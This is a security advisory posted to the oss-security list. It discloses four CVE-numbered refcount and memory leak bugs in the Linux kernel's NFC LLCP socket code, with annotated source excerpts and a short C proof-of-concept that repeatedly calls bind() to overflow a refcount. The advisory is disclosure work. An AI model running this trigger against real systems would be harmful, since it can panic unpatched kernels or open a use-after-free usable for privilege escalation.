Date: Sun, 1 Nov 2020 13:12:13 +0000
From: kiyin(尹亮) <kiyin@...cent.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
CC: Greg KH <greg@...ah.com>, Anthony Liguori <aliguori@...zon.com>
Subject: [CVE-2020-25670,CVE-2020-25671,CVE-2020-25672,CVE-2020-25673]Linux
 kernel: many bugs in nfc socket

CVE Assigned:
> CVE-2020-25670 : new bug 1
> CVE-2020-25671 : new bug 2
> CVE-2020-25672 : new bug 3
> CVE-2020-25673 : new bug 4

Patches:
not yet available

Details:

Hi,

we found many bugs in nfc socket. Here is the detail.

At first, let's see a fixed bug from https://lore.kernel.org/patchwork/patch/1135836. this patch fixed a memory leak bug in llcp_sock_bind()

```
--- a/net/nfc/llcp_sock.c
+++ b/net/nfc/llcp_sock.c
@@ -119,9 +119,14 @@  static int llcp_sock_bind(struct socket
     llcp_sock->service_name = kmemdup(llcp_addr.service_name,
                       llcp_sock->service_name_len,
                       GFP_KERNEL);
-
+    if (!llcp_sock->service_name) {
+        ret = -ENOMEM;
+        goto put_dev;
+    }
     llcp_sock->ssap = nfc_llcp_get_sdp_ssap(local, llcp_sock);
     if (llcp_sock->ssap == LLCP_SAP_MAX) {
+        kfree(llcp_sock->service_name);
+        llcp_sock->service_name = NULL;
         ret = -EADDRINUSE;
         goto put_dev;
     }
```

if nfc_llcp_get_sdp_ssap failed, llcp_sock->service_name will be freed. That's really fixed.

new bug 1, refcount leak in llcp_sock_bind():
In the same function llcp_sock_bind(), nfc_llcp_local_get() is called before kmemdup.

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/nfc/llcp_sock.c?h=v5.3.18#n101
```
101    llcp_sock->dev = dev;
102    llcp_sock->local = nfc_llcp_local_get(local);                    <---- nfc_llcp_local_get increases the refcount of local, adds plus 1
103    llcp_sock->nfc_protocol = llcp_addr.nfc_protocol;
104    llcp_sock->service_name_len = min_t(unsigned int,
105                         llcp_addr.service_name_len,
106                         NFC_LLCP_MAX_SERVICE_NAME);
107    llcp_sock->service_name = kmemdup(llcp_addr.service_name,
108                      llcp_sock->service_name_len,
109                      GFP_KERNEL);
110    if (!llcp_sock->service_name) {
111        ret = -ENOMEM;
112        goto put_dev;
113    }
114    llcp_sock->ssap = nfc_llcp_get_sdp_ssap(local, llcp_sock);
115    if (llcp_sock->ssap == LLCP_SAP_MAX) {
116        kfree(llcp_sock->service_name);                              <---- if nfc_llcp_get_sdp_ssap returns LLCP_SAP_MAX, only llcp_sock->service_name gets be freed.
117        llcp_sock->service_name = NULL;                              <---- nothing is done to local.
118        ret = -EADDRINUSE;
119        goto put_dev;
120    }
.............................
130 put_dev:                                                           <---- nothing is done to local in put_dev label either.
131     nfc_put_device(dev);
132
133 error:
134     release_sock(sk);
135     return ret;                                                    <---- the refcount of local remains added.
```

from the analysis above, we can see that: if nfc_llcp_get_sdp_ssap returns LLCP_SAP_MAX, when llcp_sock_bind() is returned, sk->sk_state is still LLCP_CLOSED. So we can call
llcp_sock_bind() many times, keep the refcount of local increasing.

Threre is a REFCOUNT_CHECK_LT_ZERO in refcount_inc. When the refcount of local gets to 0x80000000, if the system handles the refcount exception, it leads to a system panic. If not, it will
get to 0xFFFFFFFF and then to 0, then to 1... if nfc_llcp_local_put is called, the local will be freed. that is a worse UAF bug which might lead to privilege escalations.

Here is the test code:

```
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <linux/nfc.h>

#define NFC_SOCKPROTO_LLCP   1
#define NFC_PROTO_NFC_DEP    5

int main()
{
    unsigned int i;
    int fd;
    struct sockaddr_nfc_llcp addr;

    fd = socket( AF_NFC, SOCK_STREAM, NFC_SOCKPROTO_LLCP );
    if ( fd < 0 )
        return 0;

    memset( &addr, 0, sizeof(struct sockaddr_nfc_llcp) );
    addr.sa_family = AF_NFC;
    addr.dev_idx = 0;
    addr.nfc_protocol = NFC_PROTO_NFC_DEP;
    addr.service_name_len = 0;

    for ( i = 0; i < 0x90000000; i++ )
    {
        bind( fd, (struct sockaddr*) &addr, sizeof(struct sockaddr_nfc_llcp) );
    }

    close( fd );
    return 0;
}
```

new bug 2, refcount leak in llcp_sock_connect():
it is the same bug as the one described above.
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/nfc/llcp_sock.c?h=v5.3.18#n701
```
701    llcp_sock->dev = dev;
702    llcp_sock->local = nfc_llcp_local_get(local);                    <---- nfc_llcp_local_get increases the refcount of local, adds plus 1
703    llcp_sock->ssap = nfc_llcp_get_local_ssap(local);
704    if (llcp_sock->ssap == LLCP_SAP_MAX) {                           <---- if nfc_llcp_get_local_ssap returns LLCP_SAP_MAX
705        ret = -ENOMEM;
706        goto put_dev;
```

```
707    }
...............................
750 put_dev:                                                    <---- nothing is done to local in put_dev label.
751     nfc_put_device(dev);
752
753 error:
754     release_sock(sk);
755     return ret;                                             <---- the refcount of local remains added.
```

new bug 3, memory leak in llcp_sock_connect():

it is the same bug as the fixed one in llcp_sock_bind()

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/nfc/llcp_sock.c?h=v5.3.18#n719

```
719         llcp_sock->service_name = kmemdup(addr->service_name,
720                           llcp_sock->service_name_len,
721                           GFP_KERNEL);                      <---- kmemdup allocates memory for llcp_sock->service_name
722         if (!llcp_sock->service_name) {
723             ret = -ENOMEM;
724             goto sock_llcp_release;
725         }
726
727         nfc_llcp_sock_link(&local->connecting_sockets, sk);
728
729         ret = nfc_llcp_send_connect(llcp_sock);
730         if (ret)
731             goto sock_unlink;                               <---- if nfc_llcp_send_connect is failed, llcp_sock->service_name is not freed.
.........................................
744     sock_unlink:                                            <---- llcp_sock->service_name is not freed in the next.
745         nfc_llcp_sock_unlink(&local->connecting_sockets, sk);
746
747     sock_llcp_release:
748         nfc_llcp_put_ssap(local, llcp_sock->ssap);
749
750     put_dev:
751         nfc_put_device(dev);
752
753     error:
754         release_sock(sk);
755         return ret;                                         <---- sk->sk_state is not LLCP_CONNECTED. we can call llcp_sock_connect() many times.
```

new bug 4, non-blocking socket in llcp_sock_connect():

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/nfc/llcp_sock.c?h=v5.3.18#n727

```
727     nfc_llcp_sock_link(&local->connecting_sockets, sk);     <---- sk is linked to local->connecting_sockets
728
729     ret = nfc_llcp_send_connect(llcp_sock);
730     if (ret)
731         goto sock_unlink;
732
733     sk->sk_state = LLCP_CONNECTING;
734
735     ret = sock_wait_state(sk, LLCP_CONNECTED,
736                   sock_sndtimeo(sk, flags & O_NONBLOCK));   <---- calling ioctl(fd, FIONBIO, &imode) before connect will make the socket flag get O_NONBLOCK mask.
737     if (ret && ret != -EINPROGRESS)                         <---- sock_wait_state returns -EINPROGRESS right away
738         goto sock_unlink;
739
740     release_sock(sk);
741
742     return ret;                                             <---- llcp_sock_connect() returns right away
```

if we set llcp_sock->service_name to meaningless string, the connect will be failed. and sk->sk_state will not be LLCP_CONNECTED. then we can call llcp_sock_connect() many times. that leaks everything:
llcp_sock->dev, llcp_sock->local, llcp_sock->ssap, llcp_sock->service_name...
leak is one problem. another problem is that we can call llcp_sock_connect() twice before nfc target response. nfc_llcp_sock_link() will add sk to local->connecting_sockets twice. sk->sk_node->next will point to itself, that will make an endless loop and hang-up the system.

Regards,
kiyin.